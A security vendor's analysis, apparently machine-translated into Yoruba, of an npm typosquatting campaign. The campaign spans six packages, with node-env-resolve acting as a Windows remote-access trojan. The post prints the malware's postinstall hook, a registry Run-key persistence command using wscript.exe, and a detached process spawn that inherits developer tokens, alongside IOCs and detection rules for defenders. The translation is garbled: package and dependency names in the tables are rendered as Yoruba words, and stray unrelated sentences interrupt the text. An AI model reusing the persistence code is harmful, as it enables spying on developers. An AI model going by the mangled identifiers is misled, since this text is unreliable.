DevTap npm Typosquatting Attack

DevTap npm Typosquatting Attack: Àwọn ìdìpọ̀ ibi mẹ́fà tí àwọn olùgbékalẹ̀ ìfojúsùn ń gbé kalẹ̀

TL; DR

Láàárín ọjọ́ kìíní oṣù kẹrin sí ọjọ́ kẹta oṣù karùn-ún ọdún 2026, olùtẹ̀wé npm kan ṣoṣo, user0001, tí a forúkọ sílẹ̀ pẹ̀lú àdírẹ́sì Gmail tí a kò tíì fìdí rẹ̀ múlẹ̀ tanvisoul9@gmail.com, fi ìrọ̀rùn tì àwọn páálí mẹ́fà pẹ̀lú àwọn orúkọ tí kò ní ìtumọ̀, tí ó ń dún bí ohun èlò ìṣẹ̀dá: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, Ati node-env-resolve.

Awọn ẹya meji tuntun ti node-env-resolve, 1.0.7 àti 1.0.8, ni a fi àmì sí nípasẹ̀ ẹ̀rọ Xygeni's Malware Early Warning (MEW) ní ọjọ́ Kejì oṣù Karùn-ún, wọ́n sì fi ẹ̀rí hàn pé wọ́n jẹ́ ibi ní ọjọ́ Kẹta oṣù Karùn-ún.

Ohun tí a fi sínú rẹ̀ kò wọ́pọ̀ rárá: kò sí àwọn bot Telegram, kò sí àwọn ìpè OAST, bẹ́ẹ̀ kọ́ obfuscation, àti pé kò sí ìgbìyànjú láti gba àwọn ìwé ẹ̀rí AWS ní àkókò ìfisípò. Dípò bẹ́ẹ̀, postinstall.js gbin titẹsi boot-persistence Windows kan, nipa lilo bọtini HKCU Run kan ti o ṣe ifilọlẹ wscript.exe lòdì sí ìdìpọ̀ VBS kan. Lẹ́yìn náà, ó yọ aṣojú Node.js kan tí ó ya sọ́tọ̀ tí ó ń kó àwọn modulu jọ fún gbígba makirofoonu, jíjí ìtàn browser-history, fífà àwòrán síta, àti ṣíṣe àfarawé mouse/keyboard.

A n pe ẹgbẹ́ yìí ní ìṣọ̀pọ̀ DevTaplẹ́yìn ohun èlò náà, ó ń ṣiṣẹ́ lórí ẹ̀rọ olùgbékalẹ̀ kan.

Gbogbo àwọn páálí mẹ́fà náà wà lórí npm ní àkókò tí a ń kọ ọ́. A ti fi wọ́n sílẹ̀ sí ikanni ìlòkulò ìforúkọsílẹ̀ náà. Àwọn olùgbèjà gbọ́dọ̀ fa àwọn ìfisẹ́lẹ̀ èyíkéyìí láti ọ̀dọ̀ olùtẹ̀wé tí ó ń dúró de ìgbà tí a ó fi yọ wọ́n kúrò.

Ẹgbẹ́ Àwọn Ẹgbẹ́: Àwọn Àpò Mẹ́fà, Olùtẹ̀wé Kan

Àkọọ́lẹ̀ olùtẹ̀wé user0001 kò ní ìdánilójú. Kò ní SCM ìfìdí múlẹ̀, kò sí ìmeeli tí a so mọ́ domain, kò sì sí ìtàn tẹ́lẹ̀. tanvisoul9 kò farahàn nínú àkọsílẹ̀ olùtẹ̀wé npm míràn tí a lè rí.

Gbogbo àwọn ìdìpọ̀ mẹ́fà náà ni wọ́n kọ orúkọ olùtọ́jú kan náà sílẹ̀, wọ́n tẹ̀ ẹ́ jáde láti inú àkọọ́lẹ̀ kan náà, wọ́n sì pín irú wọn gẹ́gẹ́ bí package.json àwo ìgbóná. Kò sí repository, rara homepage, ati rara description gùn ju ìlà kan lọ.

Ọgbọ́n ìsọ̀rọ̀ ni apá tó dùn mọ́ni. Láìdàbí ìdààmú-ìgbẹ́kẹ̀lé àtijọ́ tàbí ìpolówó ìkọ̀wé àìtọ́, kò sí ọ̀kan lára ​​àwọn orúkọ wọ̀nyí tó fojú sí ibi ìkàwé kan pàtó. Dípò bẹ́ẹ̀, a ṣe àtúnṣe wọn láti parẹ́ sí gidi kan. package.json or npm ls iṣẹ-ṣiṣe.

packageAkọkọ AtejadeẸya Tuntunawọn ẹyaIpa ninu Ẹgbẹ́
olùtọ́jú àárín gbùngbùn2026-04-01 12:46 UTC1.0.95, láti 1.0.5 sí 1.0.9Ìbòjú “ohun èlò ìforúkọsílẹ̀” ti ẹgbẹ́ Cluster; ìtẹ̀jáde àkọ́kọ́
dom-utils-lite2026-04-14 07:36 UTC1.0.33Ideri olùrànlọ́wọ́ DOM gbogbogbò
node-fetch-lite2026-04-19 10:22 UTC1.0.23Ìdílé Mimics node-fatch
olùṣe asopọ̀2026-04-25 05:12 UTC1.0.01Orúkọ gbogbogbòò "aṣojú"
àkókò ìṣiṣẹ́ node-gyp2026-04-25 05:17 UTC1.0.01Ohun èlò ìkọ́lé àdánidá Mimics
ìpinnu node-env2026-04-25 05:21 UTC1.0.910, láti 1.0.0 sí 1.0.9Ohun èlò ìfàgùn tí ń ṣiṣẹ́; ìfisínú gbogbo

Awọn orukọ bii centralogger, node-fetch-lite, Ati node-gyp-runtime Wọ́n ṣe é láti rí bí èyí tí kò ní àríyànjiyàn nínú àtúnyẹ̀wò kódì. Wọ́n dún bí àwọn nǹkan tí yóò ti wà nínú igi ìgbẹ́kẹ̀lé iṣẹ́ akanṣe kan.

Pẹ̀lú àwọn olùtẹ̀wé tuntun tí a kò tíì fìdí rẹ̀ múlẹ̀ àti àwọn ìjápọ̀ ibi ìpamọ́ tí ó sọnù, wọ́n ń ṣe àpẹẹrẹ tí a lè dá mọ̀: òṣèré kan ń gbin àwọn orúkọ tí kò ní ìṣọ̀kan sínú ìwé àkọsílẹ̀, lẹ́yìn náà ó ń yára ṣàtúnṣe sí èyí tí ó ṣe pàtàkì. Nínú ọ̀ràn yìí, node-env-resolve gba awọn ẹya mẹwa ni ọjọ mẹjọ.

Ohun ti o ba de sori Apoti Windows Dev kan

Ẹ̀wọ̀n ìkà lórí node-env-resolve:1.0.8 jẹ́ kúkúrú, taara, àti pé ó ní àwọn ànímọ́ tó wọ́pọ̀ fún npm RAT.

Lẹ́yìn tí a bá fi sori ẹrọ: Ìfaradà àti Aṣojú tí a yà sọ́tọ̀

package.json kede ìkọ́ ìfi sori ẹrọ kan ṣoṣo:

{ "scripts": { "postinstall": "node postinstall.js" } }

postinstall.js ṣe àwọn nǹkan mẹ́ta ní ìtòlẹ́sẹẹsẹ.

Àkọ́kọ́, ó máa ń gbé ìwé ìfisẹ́lé kalẹ̀ níta igi npm. A máa ń ṣírò ipa ọ̀nà náà ní àkókò ìṣiṣẹ́ nínú ìwé náà gẹ́gẹ́ bí INSTALL_DIRLẹ́yìn náà ó ṣiṣẹ́ nínú execSync('npm install --production --silent ...') nínú rẹ̀ láti fa ìgbẹ́kẹ̀lé àkókò ìṣiṣẹ́ ti ohun èlò ìkọ́lé náà. Èyí fi ohun èlò ìtọ́sọ́nà kan sí orí díìsìkì níbìkan. node_modules àyẹ̀wò kò ní rí.

Èkejì, ó kọ ohun èlò VBS kan ó sì fi sílẹ̀ fún ìfaradà ìgbà tí a bá ń ṣe é:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \     /v ${AGENT_NAME} \     /t REG_SZ \     /d "wscript.exe \"${vbsPath}\"" /f

wscript.exe ni Windows Script Host, Microsoft binary ti a fowo si ti o n ṣiṣẹ .vbs Àwọn fáìlì láìsí fèrèsé console. Èyí ni tẹ́lẹ̀cisidi ti o fi jẹ ayanfẹ fun awọn stubs autorun.

Ibamu kan tun wa reg delete ipa ọ̀nà inú src/index.js, èyí tó túmọ̀ sí wípé a ṣe àgbékalẹ̀ ìfàmọ́lẹ̀ náà láti jẹ́ èyí tí a lè yọ kúrò ní mímọ́ lórí àṣẹ olùṣiṣẹ́.

Ẹ̀kẹta, ó ń fa ilana ọmọ tí a yà sọ́tọ̀:

spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], {   detached: true,   env: { ...process.env, SERVER_URL } })

Àwọn kúlẹ̀kúlẹ̀ méjì ṣe pàtàkì níbí.

SERVER_URL a kà á láti inú àyíká. Nítorí náà, a lè ṣètò ìparí C2 fún ìgbésẹ̀ kọ̀ọ̀kan, a kò sì fi sínú àpò náà. Yíyàn kékeré ṣùgbọ́n tí a mọ̀ọ́mọ̀ ṣe ló borí ọ̀pọ̀lọpọ̀ àwọn ìgbálẹ̀-IOC tí kò dúró ṣinṣin.

Bákan náà, ọmọ tí a bí ni ó jogún àyíká òbí rẹ̀ pátápátá. Nítorí náà, èyíkéyìí nínú àwọn ọmọ náà ló máa ń jogún àyíká òbí rẹ̀ pátápátá. NPM_TOKEN, AWS_*, GITHUB_TOKEN, tàbí SSH-agent socket tí ó wà nínú ikarahun olùgbékalẹ̀ ní àkókò ìfisílẹ̀ ń rìn lọ sínú ìrántí aṣojú tí ó ti wà fún ìgbà pípẹ́.

Ohun ti Agent naa n firanṣẹ pẹlu

Awọn bundled src/ igi naa ni awọn modulu mẹta ti awọn orukọ wọn nikan sọ itan naa: audioCapture.js, browserHistory.js, Ati systemInfo.js.

Àkójọ ìgbẹ́kẹ̀lé àkókò ìṣiṣẹ́, tí a ti yanjú nígbà tí a ṣe àgbékalẹ̀ rẹ̀ npm install, ó fi ìdí rẹ̀ múlẹ̀.

Ọ̀nà yìí yí ìṣẹ̀lẹ̀ rúdurùdu padà sí ìdáhùn tí a lè ṣàkóso.

Dípò kí àwọn ẹgbẹ́ má ṣe fèsì láìronújinlẹ̀, wọ́n máa ń ṣiṣẹ́ pẹ̀lú ṣíṣe àfiyèsí tó ṣe kedere àti àtúnṣe kíákíá.

durodeKini O Jẹ Fun Ninu Ayika yii
àwòrán-àwòrán-tábìlìGbigba iboju lẹẹkọọkan
@igi-agbọn/igi-agbọnÀdáṣe àwokòtò àti kííbọọ̀dù / ìṣelọ́pọ́ ìtẹ̀síwájú
ti o dara ju-sqlite3Àwọn ìkà tààrà ti Chrome, Edge, àti Firefox History SQLite databases
adm-zipPípọ̀ àwọn ohun ìṣẹ̀ǹbáyé kí a tó yọ wọ́n kúrò
didasilẹṢíṣe àtúnṣe ìwọ̀n/ìfúnpọ̀ àwọn àwòrán àti àwọn ohun èlò àwòrán
socket.io-clientIkanni C2 oni-ọna meji ti o duro ṣinṣin
nódù-ẹ̀rọ-idÌka ìtẹ̀lé tí ó dúró ṣinṣin fún ìtọ́pasẹ̀ àwọn olùfaragbá

systemInfo.js awọn ipe os.networkInterfaces() fún ìtẹ̀síwájú ìka ọwọ́ kí ó tó di ìtọ́ka àkọ́kọ́.

Ìdí Tí Gbigba Ohun Sílẹ̀ Jẹ́ Àmì Àtàtà

Ọ̀pọ̀lọpọ̀ àwọn npm RAT tí a ń ṣe ìwádìí wọn ní MEW dúró ní ìgbà tí a bá ń fi sori ẹ̀rọ. Wọ́n ń kà á. ~/.npmrc, ka ~/.aws/credentials, gé process.env, Fi si ori webhook, ki o si jade. Iyẹn ba awoṣe eto-ọrọ aje ti o le fọwọ kan. Awọn iwe-ẹri ko ni idaji-aye, ati pe olukọlu naa nilo lati ṣe owo ni kiakia.

node-env-resolve o yatọ si ni apẹrẹ.

A ti ṣètò ìfaradà náà láti yege àtúnṣe. Aṣojú náà ń ya ara rẹ̀ sọ́tọ̀ ó sì ń pẹ́ lábẹ́ rẹ̀. wscript.exeOhun èlò tí ó ní ni fún wíwà níbẹ̀ lórí ẹ̀rọ olùgbékalẹ̀, kìí ṣe fún gbígbà àti fífi sílẹ̀: ohun èlò ìgbóhùnsáfẹ́fẹ́ gbohùngbohùn, awakọ̀ keyboard/máúsì, gbígbà gbogbo ìtàn ẹ̀rọ aṣàwákiri, yíyàwòrán ìbòjú, àti ikanni Socket.IO oníṣepọ̀ padà sí C2 tí a lè ṣètò.

Ní pàtàkì, gbígba makirofoonu ni ọ̀nà tí ìpolongo yìí gbà kọjá tí ọ̀pọ̀lọpọ̀ malware npm kò gbà.

Ibùdó iṣẹ́ olùgbékalẹ̀ jẹ́ ibi iṣẹ́ tí àwọn olùgbékalẹ̀ ń gbé àwọn olùgbékalẹ̀, àwọn ìpè oníbàárà, àwọn ìjíròrò lórí àwòrán, àti àwọn afárá tí a ń pè ní call. Ohun tí a fi sínú rẹ̀ tí ó ń gba gbohùngbohùn sílẹ̀ kì í ṣe lẹ́yìn àmì npm ti olùgbékalẹ̀ náà. Ó jẹ́ lẹ́yìn ohun tí olùgbékalẹ̀ náà sọ níwájú kọ̀ǹpútà alágbèéká náà.

Àkójọ agbára yẹn, pẹ̀lú àìsí ìbòjú àti àìsí ìyọkúrò ìgbà ìfipamọ́ tó fani mọ́ra, kà sí ipò àkọ́kọ́ fún wíwọlé sí ibi tí a fojú sí dípò jíjí ìwé ẹ̀rí tó ṣeé ṣe.

A kò fi èyí nìkan sọ pé a ní ìfàmọ́ra. A ń kíyèsí ìṣàfihàn iṣẹ́ náà.

ìkọlù ìkọlù npm - DevTab

Àkókò ìtúnṣe ọjọ́ mẹ́jọ lórí node-env-resolve ni àwọn kúlẹ̀kúlẹ̀ iṣẹ́ tó ń sọ jùlọ nínú àkókò àkókò.

Èyí kì í ṣe ìṣàn omi tí a lè gbàgbé. Olùtẹ̀wé náà ń ṣe àtúnṣe ìṣàn omi náà dáadáa, èyí tí ó sábà máa ń túmọ̀ sí ọ̀kan lára ​​àwọn nǹkan méjì. Yálà wọ́n ń ṣe àtúnṣe rẹ̀ sí àwọn àyíká ìdánwò kí wọ́n tó fi gbogbo agbára wọn sí i, tàbí wọ́n ti ní ẹ̀rọ ìbánisọ̀rọ̀ tí a fi ń ṣiṣẹ́ padà tí wọ́n sì ń dáhùn sí i.

Àwọn ìdìpọ̀ márùn-ún yòókù kò rí ìyípadà kankan lẹ́yìn ìtẹ̀jáde àkọ́kọ́ wọn. Èyí bá ìlànà “ìpele kan, ìwé tí a dárúkọ” mu fún ẹgbẹ́ àtìlẹ́yìn nígbà tí ìsapá ìmọ̀ ẹ̀rọ dojúkọ àpò tí ó ń ṣe iṣẹ́ náà.

Ìdájọ́: Àwọn Ìmọ̀ Kékeré, Kò sí Ìdájọ́ Tó Lẹ́sẹ̀kẹsẹ̀

àkọsílẹ OSINT Àwọn àmì ìtọ́kasí náà tinrin, a kò sì ní nà wọ́n. Ohun tí a lè rí:

Àkójọ Gmail tanvisoul9 Ó jọ orúkọ kan ní Gúúsù Éṣíà, “Tanvi.” Àmì tí kò lágbára nìyí. Àwọn ìkọ́wọ́ Gmail kì í ṣe ìdámọ̀, àti àwọn tí ó tẹ̀lé e. soul9 jẹ́ gbogbogbò. Kò dájú láti mọ bí ilẹ̀ ayé ṣe rí láti inú ìmeeli agbègbè nìkan.

Àṣà kódì náà kò láfiwé Node.js: standard awọn ipe ile-ikawe bii os, child_process, spawn, Ati reg addKò sí ìdènà, kò sí ìyípo okùn, kò sì sí ìlànà ìdènà ìtúpalẹ̀. Òǹkọ̀wé náà ní ìtẹ́lọ́rùn pẹ̀lú àwọn ìpìlẹ̀ ìforúkọsílẹ̀ Windows àti ìṣètò ìṣètò ọmọ-ọmọ, ṣùgbọ́n ó dà bíi pé kò ń wá àwọn ìtajà tí ó rọrùn tí wọ́n lè lò.

Àwọn ìgbẹ́kẹ̀lé kò sí lórí àwọn nǹkan tí a mọ̀ dáadáa: screenshot-desktop, nut-js, better-sqlite3, Ati socket.io-clientKò sí ìlànà àṣà, kò sí àkójọpọ̀ C2 tí a yí láti orí ìkọ́, àti pé kò sí ọgbọ́n ìfaradà tuntun tí ó ju ìwé ìkẹ́kọ̀ọ́ lọ Kọ́kọ́rọ́ HKCU Run. Èyí jẹ́ olùṣepọ̀ tó dáńtọ́, kì í ṣe olùkọ̀wé irinṣẹ́.

A kò rí àwọn okùn tí kìí ṣe ti èdè Gẹ̀ẹ́sì, àwọn àkíyèsí tí a fi sínú rẹ̀, dátà agbègbè, tàbí ìka ìtẹ̀wé àkókò-àkójọpọ̀ nínú àwọn ohun ìṣẹ̀ǹbáyé tí a tẹ̀ jáde.

A ṣayẹwo fun ìdàpọ̀ koodu pẹlu awọn ipolongo iṣaaju ti a ti tọpa tẹlẹ, pẹlu Shai Hulud, Owiwi, Buildkite, àti heibai tuntun / claude-code-best Ìdílé ìṣẹ̀dá anthropic-CLI. A kò rí èyíkéyìí: kò sí àwọn àpẹẹrẹ C2 tí a pín, kò sí àwọn ìṣètò fáìlì tí a pín, kò sì sí àwọn ọ̀rọ̀ àsọyé tí a pín.

Ohun tí a kò ní sọ ni pé: ẹni tí ó jẹ́ olùṣe ìjọba, ẹgbẹ́ tí a mọ̀, tàbí tí ó ní ìsopọ̀ pẹ̀lú orílẹ̀-èdè pàtó kan.

Ìrísí iṣẹ́ náà bá àwọn ẹgbẹ́ kékeré tí wọ́n ní ìmọ̀ díẹ̀ mu tí wọ́n ń ṣe ìṣọ́ àwọn olùgbékalẹ̀ àti àwọn olùgbékalẹ̀ iṣẹ́. Ó ṣeé ṣe kí ó jẹ́ ti owó nípasẹ̀ lílo ọ̀nà ìpamọ́ náà, ṣùgbọ́n ó ṣeé ṣe kí ó tún jẹ́ ìwádìí-bí-iṣẹ́ fún olùrà kan.

Àwọn ojú ìwé méjì tí kò ṣe tààrà tí ó ń kà ni: yíyẹra fún àwọn ẹ̀rọ ìtújáde tí ó ń fa àfiyèsí tí yóò jó ìṣọ̀pọ̀ náà kíákíá, bíi àwọn bot Telegram, oastify.com, tàbí àwọn àmì canarytokens, àti àwọn orúkọ àkójọpọ̀ tí kò ní ìrísí, tí ó fẹ́ kí a fi àwọn ìrù gígùn tí ó dákẹ́ jẹ́ẹ́ sórí ìpele gíga díẹ̀.

Àwọn Àmì Ìbáramu àti Ṣíṣàwárí

Àwọn ìdìpọ̀ àti Olùtẹ̀wé
Fieldiye
olùtẹ̀jáde npmaṣàmúlò0001
Imeeli olutẹwetanvisoul9@gmail.com, a kò tíì fìdí rẹ̀ múlẹ̀
jocentralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve
Ti jẹrisi iwa ibinode-env-resolve@1.0.7, node-env-resolve@1.0.8
Àwọn Ohun Ìṣẹ̀ǹbáyé Onígbàlejò
iruiye
Kókó ìfaradàHKCU\Software\Microsoft\Windows\CurrentVersion\Run
Iye ìfaradàOrúkọ oníyípadà; dátà ti fọ́ọ̀mù wscript.exe " \\ ".vbs"
Fi ìkọ́ sori ẹrọpostinstall: node postinstall.js nínú àfihàn package
Àwọn módù ìfisínúsrc/audioCapture.js, src/browserHistory.js, src/systemInfo.js
Àkójọ ìtòlẹ́sẹẹsẹINSTALL_DIR ti yanjú níta àwọn node_modulu iṣẹ́ náà; postinstall.js ti ṣètò ibi tí a gbé kalẹ̀ ní àkókò ìfipamọ́
Network
iruiye
Gbigbe C2socket.io-client, ikanni itọsọna meji ti o tẹsiwaju
Ipin opin C2A pese fun aṣoju nipasẹ iyipada ayika SERVER_URL; ko si ni koodu lile sinu awọn ohun-elo ti a tẹjade

Awọn Akọsilẹ Iwari

Àwọn òfin méjì ló bo ìdílé yìí láìsí pé wọ́n nílò ààlà C2.

Ni akọkọ, ṣe afihan awọn iwe afọwọkọ postinstall ti o ṣe iṣẹ inu npm install sí ipa ọ̀nà kan tí ó wà níta àkójọ ìwé ti ara rẹ̀. Olùgbàsílẹ̀ ìkọ́lé tí ó tọ́, bíi node-gyp àtúntò tàbí àwọn olùgbàsílẹ̀ alágbékalẹ̀ tí a ti kọ́ tẹ́lẹ̀, kọ̀wé nínú àpò náà tàbí sínú pẹpẹ-standard àwọn ipa ọ̀nà àpamọ́ pẹ̀lú àwọn hash tí a ti fìdí rẹ̀ múlẹ̀. Kò kọ sínú èyí tí a ṣẹ̀ṣẹ̀ ṣẹ̀dá INSTALL_DIR ibomiiran lori disiki.

Èkejì, ṣe àmì sí àwọn ìwé àkọsílẹ̀ postinstall tí ó ń jáde reg add HKCU\…\Run pẹlu wscript.exe gẹ́gẹ́ bí ohun èlò ìfilọ́lẹ̀. Èyí kò ṣeé lò láti inú àpò npm rárá. Fi àmì sí i kí o sì ya á sọ́tọ̀.

Ìwádìí ẹ̀kọ́ kẹta wúlò fún rírí àpò ìbátan tó tẹ̀lé kí a tó fi ìdí rẹ̀ múlẹ̀: atẹ̀jáde npm tuntun tí kò ní ohunkóhun SCM ìfìdí múlẹ̀, ìmeeli Gmail kan, rárá repository pápá, àti ọ̀pọ̀lọpọ̀ orúkọ àkójọpọ̀ kúkúrú, gbogbogbòò, tí ó ń dún bí ohun èlò amúlétutù tí a tẹ̀ jáde láàrín ọjọ́ díẹ̀ sí ara wọn, fúnra rẹ̀, tó láti béèrè fún àtúnyẹ̀wò ọwọ́.

A ti royin registry npm. A o ṣe imudojuiwọn ifiweranṣẹ yii nigbati a ba ti yọ akọọlẹ olutẹjade kuro.

àwọn irinṣẹ́ ìwádìí-àkójọpọ̀-ẹ̀rọ-sca-tools
Ṣe àfiyèsí, ṣe àtúnṣe, kí o sì dáàbò bo àwọn ewu sọ́fítíwè rẹ
Gba Akaunti Ọfẹ rẹ.
Ko si kaadi kirẹditi ti o nilo.

Ṣe aabo fun idagbasoke ati ifijiṣẹ sọfitiwia rẹ

pẹlu Xygeni Product Suite